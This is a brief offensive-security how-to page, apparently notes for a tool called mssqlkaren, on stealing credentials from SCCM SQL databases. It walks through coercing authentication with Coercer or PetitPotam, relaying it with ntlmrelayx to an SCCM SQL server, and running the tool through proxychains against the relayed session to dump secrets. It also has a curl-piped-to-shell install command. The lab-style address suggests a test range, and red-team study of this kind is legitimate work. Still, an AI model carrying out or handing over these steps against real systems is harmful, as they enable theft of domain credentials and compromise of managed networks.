# mssqlkaren
Awesome [tool](https://github.com/garrettfoster13/mssqlkaren) for stealing SCCM goodies from SQL databases.

## Install pre-reqs

```
curl -LsSf https://astral.sh/uv/install.sh | sh
```

## Dump creds from an SCCM SQL database
In a SCCM environment where you have multiple SCCM servers and one has SQL on it, relay one of the SCCM servers *without* SQL (using Coercer or petitpotam) to a SCCM server *with* SQL running on it (using something like `ntlmrelayx -t mssql://sccmsql -socks -smb2support`).

Once the relay is established, use `mssqlkaren.py` to extract SCCM secrets against your established session:

```
proxychains uv run mssqlkaren.py ludus/domainadmin:password@10.6.10.13 -windows-auth
```